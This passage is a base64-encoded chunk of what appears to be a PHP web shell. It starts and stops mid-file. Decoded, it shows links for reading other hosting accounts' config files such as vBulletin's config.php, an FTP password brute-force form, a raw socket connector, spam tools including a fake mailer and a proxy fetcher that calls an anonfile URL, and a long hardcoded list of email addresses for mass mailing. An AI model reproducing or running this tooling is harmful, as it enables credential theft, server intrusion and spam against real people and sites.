LnBocCI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiciBcPjxhIGhyZWY9Ii4gJHguIj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+bGluayB0byBjb25maWd1cmF0aW9uLnBocDwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZigkcj09InZCdWxsZXRpbiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkeT10cmltKCRfUE9TVFsidW5hbWUiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnIgXD48YSBocmVmPSIuICR4LiI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPmxpbmsgdG8gaW5jbHVkZXMvY29uZmlnLnBocDwvYT4iOw0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAllbHNlaWYoJHI9PSJhbnkiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgCXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkeT10cmltKCRfUE9TVFsidW5hbWUiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sLyI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiciBcPjxhIGhyZWY9Ii4gJHguIj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+bGluayB0byBwdWJsaWNfaHRtbCBkaXJlY3Rvcnk8L2E+IjsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCX0NCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydmdHBfYnJ1dGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnDQogICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IHNpemU9IjUiIGNvbG9yPSJyZWQiIGZhY2U9ImN1cnNpdmUiPkZUUCBCcnV0ZWZvcmNlPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iY29sb3I6IHdoaXRlIjs+SG9zdG5hbWU6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0bmFtZSIgcmVxdWlyZWQvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJjb2xvcjogd2hpdGUiOz5Vc2VybmFtZTogPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiB3aGl0ZSI7PlBhc3N3b3JkczogPC90ZD48dGQ+PHRleHRhcmVhIHJvd3M9IjEwIiBjb2xzPSIzMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFydCBDcmFja2luZyA6KSAiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbImhvc3RuYW1lIl0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RuYW1lID0gJF9QT1NUWyJob3N0bmFtZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJF9QT1NUWyJ1c2VybmFtZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3N3b3JkcyA9IGV4cGxvZGUoIlxuIiwgJF9QT1NUWyJwYXNzd29yZHMiXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc3dvcmRzX251bWJlciA9IGNvdW50KCRwYXNzd29yZHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnRwX2Nvbm5lY3QoJGhvc3RuYW1lKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwIHN0eWxlPSdjb2xvcjpncmVlbjsnPlRoZSBzZXJ2ZXIgaXMgc3VjY2Vzc2Z1bHkgY29ubmVjdGVkITwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbm5lY3Rpb24gPSBmdHBfY29ubmVjdCgkaG9zdG5hbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cCBzdHlsZT0nY29sb3I6cmVkJz5Qcm9ibGVtIGNvbm5lY3RpbmcgdG8gdGhlIHNlcnZlciE8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpIDwgJHBhc3N3b3Jkc19udW1iZXIgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwgJGhvc3RuYW1lLCAkcGFzc3dvcmRzWyRpXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3BhbiBzdHlsZT0nY29sb3I6Z3JlZW4nPlRoZSBsb2dpbiBpcyBzdWNjZXNzZnVsIHVzaW5nIHVzZXJuYW1lOiAkdXNlcm5hbWUgYW5kIFBhc3N3b3JkOiAiLiRwYXNzd29yZHNbJGldLiI8L3NwYW4+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZCc+RmFpbGVkIGxvZ2luIHRvIHRoZSBzZXJ2ZXIgdXNpbmcgdXNlcm5hbWU6ICR1c2VybmFtZSBhbmQgcGFzc3dvcmQ6ICIuJHBhc3N3b3Jkc1skaV0uIjwvc3Bhbj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7ID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsndGVsbmV0X2Nvbm5lY3QnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgY29sb3I9ImJsdWUiIHNpemU9IjUiIGZhY2U9ImN1cnNpdmUiPlRlbG5ldCBDb25uZWN0PC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWw+RW50ZXIgaG9zdDogPC9sYWJlbD4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwX2hvc3QiIHBsYWNlaG9sZGVyPSJFbnRlciBJcCBIb3N0Li4iIC8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsPkVudGVyIFBvcnQ6IDwvbGFiZWw+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcF9wb3J0IiBwbGFjZWhvbGRlcj0iRW50ZXIgUG9ydC4uLiIgLz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRpcCIgdmFsdWU9IkNvbm5lY3QiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRpcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldCA9IGZzb2Nrb3BlbigkX1BPU1RbJ2lwX2hvc3QnXSwgJF9QT1NUWydpcF9wb3J0J10sICRlcnJubywgJGVycnN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkc29ja2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwPkNvbm5lY3RlZCA8YnIgLz48YnIvPiA8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6IHJlZCIgc2l6ZT0iNyI+Q29ubmVjdGlvbiBGYWlsZWQhITxicj48YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRzb2NrZXQsICJoZWxwIFxyXG4iKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmZlciA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHNvY2tldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmZlciAuPWZnZXRzKCRzb2NrZXQsIDQwOTYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRfcigkYnVmZmVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXJfZHVtcCgkYnVmZmVyKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOw0KICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAJPCEtLSBBZGQgdGhlIG1haWxlciBoZXJlLS0+DQogICAgICAgICAgICAgICAgICAgICAgCQk8IS0tIEFkZCB0aGUgc3BhbW1pbmcgYnV0dG9ucyBoZXJlIC0tPg0KICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3NwYW1taW5nX3Rvb2xzJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAJPGNlbnRlcj48YnI+PGJyPjxmb250IHNpemU9IjYiIGNvbG9yPSJncmVlbiIgZmFjZT0iY3Vyc2l2ZSI+U3BhbW1pbmcgVG9vbHM8L2ZvbnQ+PGJyPjwvY2VudGVyPg0KICAgICAgICAgICAgICAgICAgICAgIAkJPGRpdiBjbGFzcz0iYnV0dG9ucyI+PGNlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAJCQk8YSBocmVmPSI/ZmFrZV9tYWlsIj4NCiAgICAgICAgICAgICAgICAgICAgICAJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRmFrZSBNYWlsZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAJCQk8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3ANCiAgICAgICAgICAgICAgICAgICAgICAJCQk8YSBocmVmPSI/bWFzc19nZW5fZW1haWxzIj4NCiAgICAgICAgICAgICAgICAgICAgICAJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik1hc3MgRW1haWxzIExpc3QgMmsiLz4NCiAgICAgICAgICAgICAgICAgICAgICAJCQk8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3ANCiAgICAgICAgICAgICAgICAgICAgICAJCQk8YSBocmVmPSI/aHFwcm94aWVzIj4NCiAgICAgICAgICAgICAgICAgICAgICAJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBIUSBwcm94aWVzIC0gR29vZ2xlIERvcmsgV2F5Ii8+DQogICAgICAgICAgICAgICAgICAgICAgCQkJPC9hPiZuYnNwOyZuYnNwOyZuYnNwCQ0KICAgICAgICAgICAgICAgICAgICAgIAkJCTxici8+DQogICAgICAgICAgICAgICAgICAgICAgCQkJPCEtLSBBZGQgb3RoZXIgc3BhbW1pbmcgdG9vbHMgaGVyZSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAJCQkJPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgCQkJCTwvY2VudGVyPg0KICAgICAgICAgICAgICAgICAgICAgIAkJCQkNCiAgICAgICAgICAgICAgICAgICAgICAJCQkJPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAJCQkJfSANCiAgICAgICAgICAgICAgICAgICAgICAJCQkJPz4NCiAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2hxcHJveGllcyddKSkgew0KICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAJPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJsaWdodGdyZWVuIiBzaXplPSI3IiBmYWNlPSJjdXJzaXZlIj5HZXQgSFEgUHJveGllcyBHb29nbGUgRG9yayBXYXkgPC9mb250Pjxici8+DQogICAgICAgICAgICAgICAgIAk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNsaWNrSGVyZSIgdmFsdWU9IkdldCBIUSBQcm94aWVzIi8+DQogICAgICAgICAgICAgICAgIAkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAJCTwvY2VudGVyPg0KICAgICAgICAgICAgICAgICA8P3BocA0KZnVuY3Rpb24gb3BlblVSTCgkdXJsKSB7DQogDQogIC8vIENyZWF0ZSBhIG5ldyBjVVJMIHJlc291cmNlDQogICRjaCA9IGN1cmxfaW5pdCgpOw0KIA0KICAvLyBTZXQgdGhlIGZpbGUgVVJMIHRvIGZldGNoIHRocm91Z2ggY1VSTA0KICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiANCiAgLy8gRG8gbm90IGNoZWNrIHRoZSBTU0wgY2VydGlmaWNhdGVzDQogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KIA0KICAvLyBSZXR1cm4gdGhlIGFjdHVhbCByZXN1bHQgb2YgdGhlIGN1cmwgcmVzdWx0IGluc3RlYWQgb2Ygc3VjY2VzcyBjb2RlDQogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICBjdXJsX2Nsb3NlKCRjaCk7DQogIHJldHVybiAkZGF0YTsNCn0NCiANCmlmIChpc3NldCgkX1BPU1RbJ2NsaWNrSGVyZSddKSkgew0KCWVjaG8gb3BlblVSTCgnaHR0cHM6Ly9jZG4tMzEuYW5vbmZpbGUuY29tLzIxNzBqZnMzYjgvZmQ4M2RhYzAtMTU4NzY2NTI1Mi94MjAzNjUlMjBIUSUyMFNvY2tzJTIwUHJveGllcy50eHQnKTsNCn0NCj8+DQoJPD9waHANCgl9IA0KCT8+DQogICAgICA8P3BocA0KICAgICAgaWYoaXNzZXQoJF9HRVRbJ21hc3NfZ2VuX2VtYWlscyddKSkgew0KICAgICAgPz4NCiAgICAgIDxjZW50ZXI+PGJyPjxicj48Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiIGZhY2U9ImN1cnNpdmUiPkdldCBNYXNzIEVtYWlscyBmcm9tIGNvbmZpZyBmaWxlczwvZm9udD48YnI+PGJyPg0KICAgICAgCTxicj4NCiAgICAgIAkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgIAkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImdldF9lbWFpbHMiIHZhbHVlPSJHZXQgRW1haWxzIi8+DQogICAgICAJCQk8L2Zvcm0+DQogICAgICAJPD9waHANCiAgICAgIAlpZihpc3NldCgkX1BPU1RbJ2dldF9lbWFpbHMnXSkpIHsNCiAgICAgIAk/Pg0KICAgICAgCQk8P3BocA0KbWtkaXIoIkNvbmZpZyIsIDA3NzcpOw0KJGZpbGUgPSBmb3BlbigiQ29uZmlnL2VtYWlsX2xpc3RzLnR4dCIsICJ3Iikgb3IgZGllKCJVbmFibGUgdG8gZ2V0IHRoZSBkaXJlY3RvcnkiKTsNCiR0eHQgPSAnRW1pbGlvSG9sc2FwcGxlNjI0QGhvdG1haWwuY29tDQpHcm91TWNHaW5uaXMzNTEwQGFvbC5jb20NClBvbG9tYUJpZGR1bHBoNTAwQHlhaG9vLmNvbQ0KR2lsbEV2ZXJhcmQzMDg2QHlhaG9vLmNvbQ0KQ2FybWluZUZvdGhlcmluZ2hhbTI0MzdAbGl2ZS5jb20NCkxhdGFSdWU3MDdAaG90bWFpbC5jb20NCkJyYWRvbkNvbWV5bjIzMDJAeWFob28uY29tDQpMbGV3ZWxJeW5BcmJsYXN0ZXIxNDcxQHZlcml6b24ubmV0DQpTYWNoZXZlcmVsbEZveDE3MjdAaG90bWFpbC5jb20NClRyZW1haW5lU3RlcGhlbjc3OEB2ZXJpem9uLm5ldA0KRnJhbnNIYW5sZXkzNDU4QGdtYWlsLmNvbQ0KQWxhbm9CYWxkd2luMzU3OUBhb2wuY29tDQpJa2VUaGVvZG9yZTgzNkBhb2wuY29tDQpQb3BweVRpY2hib3VybmU4ODJAYW9sLmNvbQ0KTWlubmVNY0d1aXJlMzExQGFvbC5jb20NCk1lYXJhTGVjaG1lcmUzNjc0QGxpdmUuY29tDQpBcmllbG9Nb2x5bmV1eDI4NDlAYW9sLmNvbQ0KR2FsbEhlYmVyMjQyMEBnbWFpbC5jb20NCkJlYXR0eU5lZmYyNTAxQHZlcml6b24ubmV0DQpKYW50amVHd3lubmUxMzA5QGxpdmUuY29tDQpFemVjaGllbERldmVuaXNoMjUyMEBnbWFpbC5jb20NCkFiYm90TWNXaXRoeTE4OTNAeWFob28uY29tDQpEYXJ0YWduYW5BbmRyZXcxOTQyQGxpdmUuY29tDQpBc2dyZVdlc3Rjb3R0MzU5OUBnbWFpbC5jb20NCkJyaWVsbGVGbGVtaW5nMTEzOUBnbWFpbC5jb20NClplZW1hbldhbHRlcjM2MjhAaG90bWFpbC5jb20NClNoYW5kb25Sb2VtZXIzMzEyQGhvdG1haWwuY29tDQpKYWlydXNWYXVnaGFuMjEwMEBhb2wuY29tDQpDbGFpcmVCZXZlcmx5MzI4MEB2ZXJpem9uLm5ldA0KV2ljaGVsbFRpZmZhbnkxMzIyQGxpdmUuY29tDQpCZXJ5bEtlcmNoZXI2MzdAbGl2ZS5jb20NCkFseWNlV2lsaGVsbWluYTE0OThAaG90bWFpbC5jb20NCkNlbGVzdGluYUtpbmdob3JuMTM4MEBob3RtYWlsLmNvbQ0KRmVsaW1JZGUxODI3QGFvbC5jb20NCk11a3RhQnJpY2UyOTEyQGdtYWlsLmNvbQ0KQW5udXppYXRhQ29leW1hbjM3ODlAeWFob28uY29tDQpKb3JyZWxMdXNrMjUzMUBsaXZlLmNvbQ0KWmFpblJvd2U4NjVAdmVyaXpvbi5uZXQNCkthY3lCcmV0MjY3MkBob3RtYWlsLmNvbQ0KQml0dG9yTGV3aXM5OTZAeWFob28uY29tDQpMdWNreUJvc3R3aWNrMTY4M0Bob3RtYWlsLmNvbQ0KU3Rva2thcmRTaGVybWFuMTg1M0B2ZXJpem9uLm5ldA0KU2FtbXlMYW5waGVhcjIxNzhAbGl2ZS5jb20NCkFsZXRpYUhhcmdyYXZlMjAzMkB5YWhvby5jb20NCkFsZWNNY0tpYmJlbjI2OEB5YWhvby5jb20NCm11cmRvY2h3b25kZXI5MDhAaG90bWFpbC5jb20NCkdoYWRhaFJvbGFuZDkyOEBnbWFpbC5jb20NCkNsaWZ0b25TaHVydGxpZmYyMzJAYW9sLmNvbQ0KRGFuaUJhbnZhcmQxMjhAeWFob28uY29tDQpFbHZpbkJ1cnIzMTM0QGxpdmUuY29tDQpCcmVuZG9seW5IZXJtYW4yNDcyQHlhaG9vLmNvbQ0KQ2FyYWRvZ1BpY2tlcmluZzE2MzBAdmVyaXpvbi5uZXQNCkVsaWthV2luY2hjb21iZTU3NkBhb2wuY29tDQpMeXphV2Fyd2ljazI2OTBAbGl2ZS5jb20NCkJlbml0YVBpbGNoZXIxOTcxQGdtYWlsLmNvbQ0KQmVyZ2hCb3d5ZXIxMjgxQHZlcml6b24ubmV0DQpEZXJmb3JnYWxhSGFsZXMzNjlAaG90bWFpbC5jb20NCkhlbnJpZXR0ZUhvdGhhbTMwNzlAeWFob28uY29tDQpFdW1hbm5Nb2VyczI5NjdAZ21haWwuY29tDQpNYWR1bGV5VHJ1YXgyMjk1QGdtYWlsLmNvbQ0KTWFnZGFLaWxnb3VyMTQwOUBnbWFpbC5jb20NCkxvcmVuQ29sbGV5MzAyNkBob3RtYWlsLmNvbQ0KQ2hldmFsaWVyV2lzY2hhcmQzMTY0QGFvbC5jb20NCkJlbm5NYWJlbDIwOTRAaG90bWFpbC5jb20NClRhcnluV2V0aGVyd2F4MjQzNUBsaXZlLmNvbQ0KRmxvcmVudGlub0JyaWRnZTIxOTdAbGl2ZS5jb20NCkNoYXZlbGFCb3lkMzI1N0Bhb2wuY29tDQpCZXJuaWNlQ29sZW1hbjI0MzFAdmVyaXpvbi5uZXQNCkFkYW1Eb3JhbjMwMjFAbGl2ZS5jb20NClp1cmluZUZhbnNoYXcyNzQ3QGFvbC5jb20NClJheUhhcm1hdkBob3RtYWlsLmNvbQ0KQXJkeW5lRmxlbWluZzE2NjVAdmVyaXpvbi5uZXQNClNpc3N5R3Vuc2FsdXMyODAwQHlhaG9vLmNvbQ0KQ29ybGV5QmxhaW4yMzkxQHZlcml6b24ubmV0DQpBYmh5SGFyZ2lsbDI4MTNAbGl2ZS5jb20NCkRlYXJkcml1Q2FyZDk1OUBsaXZlLmNvbQ0KRGFmeWRkQnJpZGdlMTQxN0BnbWFpbC5jb20NClJvbml0SW5nbGVieTExMTJAdmVyaXpvbi5uZXQNClJhSnVsaWEzNTA1QGhvdG1haWwuY29tDQpTa3llbGFyQ3V0dGluZzM1OTRAaG90bWFpbC5jb20NClNlb3NhaW1oaW5UaHdhaXRlMjcyMUB2ZXJpem9uLm5ldA0KR3Vpc2VwcGVDYXJldzE2ODBAaG90bWFpbC5jb20NClJvd2R5UmFuc29tMjQ2OEBob3RtYWlsLmNvbQ0KSHVybGV5U3VtbWVyMzExMkBob3RtYWlsLmNvbQ0KQWxlbldlbnR3b3J0aDMwMzhAaG90bWFpbC5jb20NCkZyYW5jZVZpZWxsZTMzMjFAYW9sLmNvbQ0KQmxvbmRlbmVHYXJyaXNvbjI1OTJAYW9sLmNvbQ0KRHVzdHlTZXdhcmQzMjQ5QGdtYWlsLmNvbQ0KSGVuZHJpa2FLaW5sb2NoMzc2NEBhb2wuY29tDQpEYW5ldHRlUHJvZGdlcnMyODU1QGxpdmUuY29tDQpIZWFybmVNaWRkbGVkaXRjaDE4MTBAYW9sLmNvbQ0KQWRvbHBoTGV2ZW53b3J0aDM1OTJAbGl2ZS5jb20NCkFyZWxNY0JhaW4zMzQxQGxpdmUuY29tDQpBbHJpZ29Ccm9jazE5NjBAaG90bWFpbC5jb20NClRhdmlvQ2hlbmV5MTkzMkBsaXZlLmNvbQ0KRnJlZHJpY0RpYW5hMTA5MUBob3RtYWlsLmNvbQ0KQ2lzc0ZyYW1lMzQ5QHlhaG9vLmNvbQ0KTWFsaVBl